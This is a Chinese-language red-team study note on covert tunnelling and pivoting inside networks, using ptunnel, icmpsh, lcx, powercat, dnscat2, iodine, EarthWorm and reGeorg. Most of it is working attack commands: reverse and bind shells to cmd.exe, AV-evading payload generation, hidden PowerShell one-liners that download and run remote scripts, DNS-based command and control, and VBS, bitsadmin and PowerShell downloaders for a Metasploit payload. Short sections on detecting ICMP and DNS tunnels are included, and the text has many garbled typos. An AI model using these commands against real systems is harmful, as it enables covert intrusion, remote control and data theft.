第三章——隱藏通信隧道技術
目錄
1.網絡層隧道
1.pingtunnel
1.在web邊界服務器上下載並運行ptunnel
-
http://freshmeat.sourceforge.net/projects/ptunnel
-
ptunnel -x pass
-
-
-×指定icmp隧道連接驗證密碼
-
-lp指定要監聽的本地tcp端口
-
-da指定要轉發到的機器的ip地址
-
-dp指定要轉發到的機器的tcp端口
-
-p指定icmp隧道另一端機器的ip地址
2.在vps上運行ptunnel
ptunnel -p 192.168.0.8 -lp 1080 -da 1.1.1.10 -dp 3389 -x pass
3.在win7電腦上遠程連接vps的1080端口
2.icmpsh
vps
-
git clone https://github.com/inquisb/icmpsh.git
-
sysctl -w net.ipv4.icmp_echo_ignore_all=1 #關閉系統Ping命令應答,使用完后改為0
-
cd icmpsh
-
pip install impacket
-
./icmpsh_m.py 192.168.0.11 192.168.0.8 #192.168.0.11為本機攻擊ip地址,192.168.0.8是目標的公網ip地址
-
#可以使用ping vpsip地址,tcpdump icmp來獲取目標機器的公網ip
目標機器
icmpsh.exe -t 192.168.0.11 -d 500 -b 30 -s 128
3.防御ICMP隧道攻擊的方法
- 檢測同一來源的ICMP數據包的數量,一個正常的ping命令每秒最多發送兩個數據包,而是要ICMP隧道的瀏覽器會在很短的時間內產生上千個ICMP數據包
- 注意那些Payload大於64bit的ICMP數據包
- 尋找響應數據包中的Payload與請求數據包中的Payload不一致的ICMP數據包
- 檢查ICMP數據包的協議標簽。例如,icmptunnel會在所有的ICMP Payload前面添加“TUNL"標記來標識隧道
2.傳輸層隧道
1.lcx端口轉發
-
A.內網端口轉發
-
目標機器 :lcx.exe -slave公網主機ip 4444 127.0. 0.1 3389
-
VPS: lcx.exe -listen 4444 5555
-
-
B.本地端口映射
-
lcx -tran 53目標主機ip 3389
2. nc
-
A.安裝 LINUX:
-
sudo yum install nc.x86_64
-
wget http:/ /sourceforge.net/projects /netcat/files /netcat/ 0.7. 1/netcat- 0.7. 1.tar.gz/download -O netcat- 0.7. 1.tar.gz
-
-
WINDOwsS:
-
Nc: https:/ /joncraton.org/files /nc111nt.zip
-
Nc_safe:https:/ /joncraton.org/files /nc111nt_safe.zip
3.powercat
kali | 192.168.0.11 |
win10 | 1.1.1.14 192.168.0.14 |
win2012 | 1.1.1.8 |
1.nc正向連接powercat
-
┌──(kali㉿kali)-[~]
-
└─ $ nc 192.168. 0.14 8080 -vv
-
-
-
win10
-
PS C:\> Import-Module .\powercat.ps1
-
PS C:\> powercat -l -p 8080 -e cmd.exe -v
2.nc反向連接powercat
-
┌── (kali㉿kali ) - [ ~ ]
-
└─ $ nc -lp 8080 -vv
-
-
windows10 :
-
PS C : \ > powercat - c 192.168.0.11 -p 8080 -v -e cmd.exe
3.通過powercat返回powershell
-
Windows2012:
-
PS C:\> IEX ( NEW- Object Net.WebClient).DownloadString( 'http://1.1.1.6/powercat.ps1')
-
PS C:\> powercat -l -p 9999 -v
-
-
-
-
windows10:
-
PS C:\> powercat -c 1.1. 1.8 -p 9999 -v -ep
4.Powercat文件傳輸
-
Windows10下執行 :
-
powercat -l -p 8080 -of C : \Users \Public \Downloads \test.txt
-
-
Windows Server 2012 :
-
PS C : \ > powercat - c 1.1.1.14 -p 8080 -i c : \test.txt -v
5.powercat生成Payload(躲避殺軟)
-
Windows10下執行:
-
powercat -l -p 8080 -e cmd -v -g >> shell.ps1
-
-
將生成的shell.ps1拿到Windows server 10下
-
./shell.ps1
-
PS:也可以使用-ge生成編碼后的腳本,然后直接使用Powershell -E shellcode執行。
6.Powercat - DNS協議(DNSCAT)
-
Kali下執行:
-
┌──(kali㉿kali)-[~]
-
└─$ cd /home/kali/Downloads/dnscat2/server
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─ # proxychains gem install bundler
-
┌──(kali㉿kali)-[~/Downloads/dnscat2/server]
-
└─$ bundle install
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─ # ruby dnscat2.rb lab.test -e open --no-cache
-
dnscat2> session -i 1
-
-
-
Windows 10下執行:
-
powercat -c 192.168.0.11 -p 53 -dns lab.test -e cmd.exe
7.Powercat作為跳板
-
Windows Server 2012:
-
PS C:\> powercat -l -v -p 9999 -e cmd.exe
-
Windows 10:
-
powercat -l -v -p 8000 -r tcp: 1.1 .1 .8: 9999
-
Kali下執行:
-
nc 192.168 .0 .14 8000 -vv
-
-
場景七: Powercat轉發(DNS)
-
┌──(root💀kali)-[ /home/kali /Downloads/dnscat2/server]
-
└─ # ruby dnscat2.rb lab.test -e open --no-cache
-
-
Windows 10:
-
PS C:\> powercat -l -p 8080 -r dns: 192.168. 0.11 : :lab.test
-
-
Windows Server 2012:
-
PS C:\> powercat -c 1.1. 1.14 -p 8080 -e cmd.exe -v
3.應用層協議
SSH協議
-
ssh root@192.168.0.8
-
-C 壓縮傳輸,提高傳輸速度
-
-f 將SSH傳輸轉入后台運行,不占用當前的shell
-
-N 建立靜默連接(建立了連接,但看不到具體會話)
-
-g 允許遠程主機連接本地用於轉發的端口
-
-L 本地端口轉發
-
-R 遠程端口轉發
-
-D 動態轉發(SOCKS代理)
-
-P 指定SSH端口
1.本地轉發
以web服務器為跳板,將內網數據庫服務器1.1.1.10的3389端口映射到VPS192.168.0.11的1153端口,再次訪問vps1153端口,就能訪問數據庫服務器的3389端口
-
┌──(root💀kali)-[ /home/kali /Downloads/dnscat2/server]
-
└─ # ssh -CfNg -L 1153:1.1.1.10:3389 kali@192.168.0.8 130 ⨯
-
kali @192. 168.0. 8 's password:
-
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─# netstat -tulnp | grep "1153"
-
tcp 0 0 0.0.0.0:1153 0.0.0.0:* LISTEN 5762/ssh
-
tcp6 0 0 :::1153 :::* LISTEN 5762/ssh
-
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─# rdesktop 127.0.0.1:1153
2.遠程轉發(無邊界設備,服務器kali連通外網)
以web服務器為跳板,將vps的3307端口流量轉發到1.1.1.10的3389端口,然后訪問vps的3307端口,就可以訪問2008的3389端口
-
在web服務器 1.1. 1.5上執行
-
ssh -CfNg -R 3307 : 1.1. 1.10 : 3389 kali @192. 168.0. 11
-
rdesktop 127.0. 0.1 : 3307
3.動態轉發
-
┌──(root💀kali)-[ /home/kali /Downloads/dnscat2/server]
-
└─ # ssh -CfNg -D 7000 kali@192.168.0.8 255 ⨯
-
kali @192. 168.0. 8 's password:
-
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─# netstat -tulnp | grep "7000"
-
HTTP/HTTPS協議
-
將tnnel. jsp上傳至目標服務器 192.168 .0 .8
-
python reGeorgSocksProxy. py -u http: //192.168.0.8/tunnel.jsp -p 9999
-
-
瀏覽器訪問 127.0 .0 .1: 9999端口
DNS協議
dnscat2
使用dsan2隧道的模式有兩種,分別是直連模式和中繼模式。
- 直連模式:客戶端直接向指定IP地址的DNS服務器發起DNS解析請求,
- 中繼模式: DNS經過互聯網的送代解析,指向指定的DNS服務器。與直連模式相比,中dnscan2 通過DNS進行控制並執行命令。
與同類工具相比,drsa2具有如下特點
- 支持多個會話
- 流量加密
- 使用密鑰防止MiTM攻擊
- 在內存中直接執行PowerShell腳本
- 隱蔽通信
安裝dnscat2
-
apt- get install gem
-
apt- get install ruby-dev
-
apt- get install libpq-dev
-
apt- get install ruby-bundler
-
-
apt- get install git
-
git clone https: //github.com/iagox86/dnscat2.git
-
cd dnscat2/server
-
bundle init
-
bundle install
-
-
-
tucpdump -n -i ens4 udp dst port 53
-
nslookup nameserver
1.啟動服務端
-
┌──(root💀kali)-[/home/kali/Downloads/dnscat2/server]
-
└─ # ruby dnscat2.rb lab.test -e open -c sec --no-cache
-
-
ruby dnscat2.rb --dns server=127.0.0.1,port=533, type=TXT --secret=sec #直連模式
-
-
-c 定義了‘pre-shared secret ',可以使用具有預共享密鑰的身份驗證機制來防止中間人攻擊
-
-e 規定安全級別,‘open’表述服務端允許客戶端不進行加密
-
--no-cache 禁止緩存,服務器運行時須添加該項。因為powershell-dnscat2客戶端與dnscat2服務器的 Caching模式不兼容
2.在目標系統運行客戶端
-
linux:
-
git clone https://github.com/iagox86/dnscat2
-
cd dnscat2/client/
-
make
-
-
-
-
windows:
-
dnscat2-v0.07-client-win32.exe --ping lab.test #測試是否能夠通信
-
dnscat2-v0.07-client-win32.exe --dns domain=lab.test --secret=sec #連接服務端
-
-
dnscat --dns server=服務端ip,port=533, type=TEXT --secret=sec #直連模式
3.腳本加載運行dnscat2-powershell
-
PS C:\> Set-ExecutionPolicy unrestricted
-
PS C:\> Import-Module .\dnscat2.ps1
-
PS C:\> start-Dnscat2 -Domain lab.test --DNSServer 1.1.1.8
-
-
或者一句話執行
-
powershell.exe -nop -w hidden - c {IEX(New-Object System.Net.Webclient).DownloadString( 'https://raw.githubusercontent.com/lukebaggett/ dnscat2-powershell/master/dnscat2.ps1'); Start-Dnscat2 -Domain [ domain] --DNSServer x.x.x.x}
-
exec psh
4.反彈shell
-
sessions 查看會話
-
session -i 1 進入1會話
-
shell 打開另一個會話,進入交互模式
-
help 查看幫助
-
download 下載
-
ping
-
suspend 返回上一層
-
upload
-
shutdown 切斷但錢會話
-
quit 退出dnscat2控制台
-
kill 切斷通道
iodine
iodine可以通過一台DNS服務器制造一個IPv4 數據通道,特別適合在目標主機只能發送DNS 請求的網絡環境中使用。iodine是基於C語言開發的,分為服務端程序 iodined和客戶端程序 iodine。Kali Linux內置了iodine
與同類工具相比,iodine具有如下特點
- 不會對下行數據進行編碼。
- 支持多平台,包括 Linux、BSD、Mac OS、 Windowso·支持16個並發連接。
- 支持強制密碼機制。
- 支持同網段隧道P地址(不同於服務器一客戶端網段)。
- 支持多種 DNS記錄類型
- 提供了豐富的隧道質量檢測措施。
iodine支持直接轉發和中繼兩種模式,其原理是:通過 TAP虛擬網卡,在服務端建立一個局域網;在客戶端,通過TAP 建立一個虛擬網卡;兩者通過 DNS 隧道連接,處於同—個局域網(可以通過ping命令通信)。在客屍漏和服務端之間建立連接后,客戶機上會多出一塊名為“dns0”的虛擬網卡
1.vps服務端
-
iodined -c -f -P 123456 192.168.0.1 servername -DD
-
-f 前台運行
-
-c 禁止檢查所有傳入請求客戶端IP地址
-
-P 設置驗證密碼
-
-D 指定調試等級檢查配置是否正確
-
https://code.kryo.se/iodine/check-it/檢查iodine
linux客戶端
-
┌──(root💀kali)-[ /home/kali]
-
└─ # iodine -f -P 123456 vpn.adccm.xyz -M 200
windows客戶端
-
需要先安裝openvpn添加一塊網卡
-
iodine -f - P 123456 servername
DNS隧道攻擊的防御
防御隧道攻擊並非易事,特別是防御DNS隧道攻擊。通過如下操作,能夠防御常見的隧道攻擊行為。
- 禁止網絡中的任何人向外部服務器發送DNS請求,只允許與受信任的DNS服務器通信
- 雖然沒有人會將 IXT解析請求發送給DNS服務器,但是dnscat2和郵件服務器網關會這樣做。因此,可以將郵件服務器/網關列入白名單並阻傳人和傳出流量中的TXT請求。
- 跟蹤用戶的 DNS查詢次數。如果達到閱值,就生成相應的報告
- 阻止ICMP
SOCKS代理
常見的網絡場景有如下三類
- 服務器在內網中,可以任意訪問外部網絡。
- 服務 器在內網中,可以訪向外部網絡,但服務器安裝了防火牆拒絕敏感端口的連接。
- 服務器在內網中,對外只開放了部分端口(例如80端口),且服務器不能訪問外部網絡。
常用SOCKS代理工具
SOCKS是一一種代理服務,可以簡單地將一端的系統連接另端。SOCKS支持多種協議包括HTTP、FTP等。SOCKS分為SOCKS4和SOCKS 5兩種類型,SOCK4只支持TCP協議,SOCKS 5不僅支持TCP/UDP協議,還支持各種身份驗證機制等,其標准端口義只支持1080。SOCKS能夠與目標內網計算機進行通信,避免多次使用端口轉發。SOCKS代理其實可理解為增強版的lcx。它在服務端監聽-個服 務端口,當有新的連接請求
出現時,會先從SOCKS協議中解析出目標的URL和目標端口,再執行lex的具體功能。
1. EarthWorm
EarthWorm(EW )是一套便攜式的網絡工具,具有SOCKSs服務架設和端口轉發兩大核心功能,可以在復雜的網絡環境中實現網絡穿透。EW能夠以正向、反向、多級級聯等方式建立網絡隧道。EW工具包提供了多個可執行文件,以適用不同的操作系統( Linux、Windows、 Mac OS、ARM-Linux 均包含在內)。6種命令格式(ssocksd、 rcsocks. rssocks. Icx_ slave、 Icx_ listen、 Icx_ tran)
1.正向SOCKS5服務器
-
┌──(root💀kali)-[ /var/www /html/release]
-
└─ # ./ew_linux_x64 -s ssocksd -l 1090 #適用於一個有外網IP的情況,此處使用邊界服務器
2.反彈SOCKS v5服務器
-
vps: C:\>ew_win32.exe -s rcsocks -l 1008 -e 888
-
內網機器: ew -s rssocks -d vpsip -e 888
3.二級網絡環境a
-
內網中的機器 B: ew -s ssocksd -l 888
-
邊界服務器 A: ew -s lcx_tran -l 1080 -f A主機公網ip -g 888 #將 1080端口收到的代理請求轉發給內網中的機器 B的 888端口
4.二級網絡環境b
-
A主機無公網ip ,也無法訪問內網。B主機可以訪問內網,無法訪問外網
-
-
VPS : ew -s lcx_listen -l 1080 -e 888 #在公網vps中添加轉接隧道,將1080端口接收到的請求轉發給888端口
-
-
主機B: ew -s ssocked -l 999 #ssocked方式啟動999端口的socks代理
-
-
主機A: ew -s lcx_slave -d vpsip -e 888 -f A主機IP -g 999 #在A主機上利用lcx_slave方式,將vps的888端口和B主機的999端口連接起來
2.reGeorg
rcGcorg 是reDuh的升級版,主要功能是把內網服務器的端口通過HTPHITS隧道轉發到本機,形成一個回路。reCorg 可以使目標服務器在內網中(或者在設置了端口策略的情況下)連接內部開放端口。rcGcorg 利用WstSll建立一個SOCKS代理進行內網穿透,服務必須支持ASPX、PHP、JSP中的一種。
3. sSocks
sSocks是個SOCKS代理工具套裝,可用來開啟soCKs代理服務。sokes支持SOCKS5驗證,支持IPv6和UDP,並提供反向soCKS代理服務(將遠程計算機作為SOCKS代理服務端反彈到本地)。
4. SocksCap64
SocksCap64是一款在 Windows環境中相當好用的全局代理軟件,SocksCap64可以使Windows應用程序通過SOCKS 代理服務器來訪問網絡,而不需要對這些應用SOKS 代理的應用程序,也可以通過SoksCap64程序進行任何修改。即使是那些本身不支持實現代理訪問
5. Proxifier
Provifer也是一軟非常好用的全局代理軟件,Posifir 提供了跨平台的轉發和代理功能,適用於Windows、Linux、 MacOS平台
6. ProxyChains
ProxyChains是一款可以在Linux下實現全局代理的軟件,性能穩定、可靠,可以使任何程序通過代理上網,允許TCP和DNS流量通過代理隧道,支持HTTP、SOCKS 4、SOCKS 5類型的代理服務器
壓縮
1.RAR
-
-a: 添加要壓縮的文件
-
-k: 鎖定壓縮文件
-
-s: 生成存檔文件(這樣可以提高壓縮比)。
-
-P: 指定壓縮密碼。
-
-r: 遞歸壓縮,包括子目錄。
-
-x: 指定要排除的文件。
-
-v: 分卷打包,在打包大文件時用處很大。
-
-ep: 從名稱中排除路徑。
-
-epl: 從名稱中排除基本目錄。
-
-m0: 存儲,添加到壓縮文件時不壓縮文件。
-
-ml: 最快,使用最快壓縮方式(低壓縮比)。
-
-m2: 較快,使用快速壓縮方式。
-
-m3: 標准,使用標准壓縮方式(默認)。
-
-m: 較好,使用較強壓縮方式(速度較慢)。
-
-m5: 最好,使用最強壓縮方式(最好的壓縮方式,但速度最慢)。
1.以RAR格式壓縮/解壓
將E:\webs\ 目錄下的所有內容(包括子目錄)打包為1.rar,放到E:\webs\目錄
-
Rar.exe a -k -r -s -m3 E:\webs\ 1.rar E:\webs
-
Rar.exe e E:\webs\ 1.rar
-
e:解壓到當前目錄下
-
x:以絕對路徑解壓
-
zip同理
2.分卷壓縮/解壓
-
Rar.exe a -m0 -r -v20m E:\test.rar E:\API
-
分卷壓縮E盤API目錄下的所有文件及文件夾(-r使用遞歸壓縮)設置每個分卷為20MB,結構為test.part1.rar...
-
-
-
Rar.exe x E:\test.part01.rar E:\ test #解壓
7zip
-
-r 遞歸壓縮
-
-o 指定輸出目錄
-
-p 指定密碼
-
-v 分卷壓縮
-
a 添加壓縮文件
1.普通壓縮/解壓方式
-
7z.exe a -r -p12345 E : \webs \ 1.7z E : \webs #壓縮
-
7z.exe x -p12345 E : \webs \ 1.7z -oE : \X
2.分卷壓縮
-
7z .exe -r -vlm -padmin a E:\test. 7z E:\API
-
7z.exe x -padmin E:\test. 7z. 001 -oE:\x
上傳和下載
1.利用FTP協議上傳
-
本地或者vps搭建ftp服務器
-
-
常用的FTP命令列舉如下,
-
open <服務器地址 >:連接服務器
-
-
cd <目錄名 >:進入指定目錄。
-
lcd <文件夾路徑 >:定位本地文件夾(上傳文件的位置或者下載文件的本地位置)。
-
type:查看當前的傳輸方式(默認為ASCII碼傳輸)。
-
ascil:設置傳輸方式為ASCII碼傳輸(傳輸TXT等格式的文件)。
-
binary:設置傳輸方式為二進制傳輸(傳輸EXE文件,以及圖片、視音頻文件等)。
-
close:結束與服務器的FTP會話。
-
quit:結束與服務器的FTP會話並退出FTP環境。
-
put <文件名 > [newnamel:上傳。"newname"為保存時的新名字,若不指定將以原名保存。
-
send <文件名 > [newname]:上傳。"newname為保存時的新名字.若不指定將以原名保存。
-
get<文件名> [newname]:下載。newname為保存時的新名字,若不指定將以原名保存。
-
mget filename filename..]:.下載多個文件。mget 命令支持空格和“?”兩個通配符,例如“mget.mp3”表示下載FTP服務器當前目錄下所有擴展名為“mp3”的文件
2.利用VBS上傳
-
echo Set Post = CreateObject( "Msxml2.XMLHTTP") >>download.vbs
-
echo Set Shell = CreateObject( "Wscript.Shell") >>download.vbs
-
echo Post.Open "GET", "ip/文件",0 >>download.vbs
-
echo Post.Send() >>download.vbs
-
echo Set aGet = CreateObject( "ADODB.Stream") >>download.vbs
-
echo aGet.Mode = 3 >>download.vbs
-
echo aGet.Type = 1 >>download.vbs
-
echo aGet.Open() >>download.vbs
-
echo aGet.Write(Post.responseBody) >>download.vbs
-
echo aGet.SaveToFile " 下載到的位置",2 >>download.vbs
-
-
最后
-
Cscript download.vbs
3.利用nishang上傳
Download Excule是Nishang中的下載執行腳本,常用於下載文本文件並將其轉換為EXE文件。使用Nishang上傳文件的原理是:利用Nishang將上傳的EXE文件轉換為十六進制的形式,然后使用echo命令訪問目標服務器,最后使用Download Exccute腳本下載文本文件並將其轉換為EXE文件。
在這里,需要使用echo命令將Nishang PowersShell腳本的內容上傳到目標服務器中,並將執行以下命令,利用Nishang中的exetolext.psl腳本將由Metasploit生成的msf.exe修改為文本文件msf.txt
.\ ExetoText c: msf.exe c: msf.txt
接着,通過echo命令,先將轉換的HEX值添加到目標文件中,再將Nishang腳本文件的內容添加到目標文件中。最,輸人如下命令,調用Dowlad Excule腳本下載並執行該文本文件。
Download_Execute http://192.168.0.11/msf.txt
4.bitadmin下載
bitsadmin /transfer 111 ip/file 下載到的路徑 #win7以上版本
5.powershell下載
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('ip/文件','下載文件路徑');